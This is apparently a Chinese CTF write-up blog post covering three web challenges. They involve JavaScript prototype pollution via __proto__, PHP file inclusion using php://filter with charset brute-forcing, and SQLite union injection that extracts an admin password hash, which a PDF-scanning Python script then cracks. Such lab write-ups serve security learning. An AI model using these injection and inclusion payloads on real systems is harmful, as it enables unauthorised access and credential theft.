wife_wife、题目名称-文件包含、FlatScience

wife_wife

前言

JavaScript 原型链污染是一种针对 JS 原型继承机制的安全漏洞,核心是通过篡改对象的 prototype(原型),向全局对象(如 Object、Array)注入恶意属性 / 方法,进而影响所有继承自该原型的对象,导致代码执行、权限提升、逻辑篡改等风险。

一、JS 原型与原型链

要理解污染,先明确 JS 的核心继承逻辑:

原型(prototype):每个 JS 对象(除 null)都有一个隐藏的 [[Prototype]] 属性(可通过 proto 访问),指向其 "原型对象"。原型对象中存储着该类对象的共享属性 / 方法(比如 Array.prototype.push 是所有数组的共享方法)。

原型链:当访问一个对象的属性时,JS 会先在对象自身查找;若找不到,会顺着 proto 向上遍历原型对象,直到 Object.prototype(原型链的顶端)。

举个简单例子:

javascript 复制代码
const arr = [1, 2, 3];

arr.push(4); // 实际调用的是 Array.prototype.push

arr.toString(); // 找不到自身的 toString,向上找 Object.prototype.toString

二、原型链污染的原理

若代码允许用户输入修改对象的原型属性,攻击者可通过 proto 或 prototype 关键字,向全局原型(如 Object.prototype)注入恶意内容。由于所有对象都继承自 Object.prototype,这些恶意内容会变成 "全局共享属性",影响所有对象。

直观示例(污染 Object.prototype

javascript 复制代码
const obj = {};
console.log(obj.evil); // undefined(自身和原型都没有 evil 属性)

若存在污染漏洞,攻击者可注入属性:
// 假设代码允许用户输入修改对象(模拟漏洞场景)
const userInput = { "__proto__": { "evil": "恶意值" } };

// 危险操作:将用户输入的属性"合并"到目标对象(未过滤 __proto__)
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      merge(target[key], source[key]); // 递归合并对象
    } else {
      target[key] = source[key]; // 直接赋值
    }
  }
  return target;
}
// 执行合并:用户输入的 __proto__ 被解析,污染 Object.prototype
merge({}, userInput);

// 所有对象都继承了 evil 属性!
const obj1 = {};
const obj2 = new Array();
console.log(obj1.evil); // "恶意值"(本不该有)
console.log(obj2.evil); // "恶意值"(数组也被影响)

解题

题目描述:cat-wifi,本题不需要爆破

注册一个账号,登陆后发现flag,但是不正确

那就去注册页面,勾选管理员,然后抓包

发现invalid invite code,无效的邀请码,既然是JS原型链污染,那就加上__proto__这个继承对象的属性payload

删掉邀请码,不然无法成功

登陆即可发现flag

CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}

题目名称 - 文件包含

打开题目是一段php代码

php 复制代码
highlight_file(__FILE__); // 高亮显示当前文件的源代码(调试/展示用)

include("./check.php");   // 包含当前目录下的 check.php 文件(可能是验证逻辑)

if(isset($_GET['filename'])){ // 检查 URL 中是否传入 GET 参数 filename

    $filename = $_GET['filename']; // 接收用户输入的 filename 参数

    include($filename); // 直接将用户输入作为文件路径包含执行

}

明显是文件包含漏洞,先去御剑中进行目录扫描看看有什么文件

发现flag.php,flag大概率在这个文件里,使用php伪协议访问该文件

php 复制代码
?filename=php://filter/read=convert.base64-encode/resource=flag.php

好吧被过滤了,去爆破字符集

php 复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
BASE64

1,2两个位置都设为这个字符集

注意:url编码要取消勾选

开始攻击

发现这几个组合都可以

得到flag:cyberpeace{3bcc779aba293ce3bdee6122045bb68b}

FlatScience

打开题目,看到如下界面

打开链接发现都是英文文献

那应该没有啥有用的信息,那就先将网站使用御剑扫描一下

发现/robots.txt、/admin.php、/login.php文件

访问/robots.txt文件

发现显示的是/admin.php、/login.php文件

访问/admin.php

这里是一个管理员登录界面,给了默认账号名,但是没有密码,继续访问/login.php

和管理员登录界面类似,也是需要输入用户名和密码,查看源代码

发现这个有个debug模式的说明,说明大概率开启了debug模式,那么我们在访问login.php时带上参数?debug=1

看到其中一段php代码,查看后发现是post传参,并且存在sql注入,SQLite3 数据库,已知表:Users (存储用户信息)

php 复制代码
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
       
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

那就直接bp抓包,进行sql注入,其实可以用HackBar插件,但我不知道ID的参数,就用bp看一下,接下来用插件传参也没事。

usr=1'

发现是单引号闭合

查看回显

sql 复制代码
usr=1' union select 1,2 --

发现只有第2个参数有回显,且只有2个字段

查资料知道每一个SQLite数据库都有一个叫SQLITE MASTER的表,里面存储着数据库的数据结构(表结构、视图结构、索引结构等),只可以

对他使用查询语句

sql 复制代码
usr=1' union select name,sql from sqlite_master --

Set-Cookie: name=+CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29;

可以看到数据库中又一张Users表,里面有id,name, password,hint等字段

查询账号

sql 复制代码
usr=1' union select id,name from Users limit 0,1 --

账号:admin

查询密码

sql 复制代码
usr=1' union select id,password from Users limit 0,1 --

密码:3fab54a50e770d830c0416df817567662a9dc85c

获取hint值

hint值为:my+fav+word+in+my+fav+paper%3F%21

根据hint的name=+my+fav+word+in+my+fav+paper%3F%21提示可能passwrod在pdf文章的hash码中。结合前面源代码里的password加密,先用wget将网站的全部pdf文件down下来。

sql 复制代码
wget http://61.147.171.103:63512/ -r -np -nd -A .pdf

把获取的pdf与以下py文件放在同一个目录即可

这个是用来爆破解密的(读取当前目录下的所有pdf文件)

python 复制代码
from io import StringIO
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter

import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]

def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text

def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()

if __name__ == "__main__":

    find_password()

执行这个脚本

得到admin的密码为:ThinJerboa

直接登陆/admin

发现flag:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

相关推荐
POLITE32 分钟前
Leetcode 42.接雨水 JavaScript (Day 3)
javascript·算法·leetcode
京东零售技术4 分钟前
2025京东零售技术年度精选 | 技术干货篇(内含福利)
前端·javascript·后端
tang7778910 分钟前
Python爬虫代理,选短效IP还是长效IP?
爬虫·python·tcp/ip
秋42715 分钟前
防火墙基本介绍与使用
linux·网络协议·安全·网络安全·架构·系统安全
写文章的大米25 分钟前
这份数据验证方案,可以让你的 FastAPI 崩溃率直降90%
python
xingzhemengyou129 分钟前
Python 有哪些定时器
前端·python
站大爷IP38 分钟前
Python自动整理音乐文件:按艺术家和专辑分类歌曲
python
BBB努力学习程序设计39 分钟前
Python 高效处理大数据:生成器(Generator)的工作机制与实战技巧
python
前端Hardy42 分钟前
祝大家 2026 年新年快乐,代码无 bug,需求一次过
javascript·css·html
小皮虾1 小时前
这应该是前端转后端最简单的办法了,不买服务器、不配 Nginx,也能写服务端接口,腾讯云云函数全栈实践
前端·javascript·全栈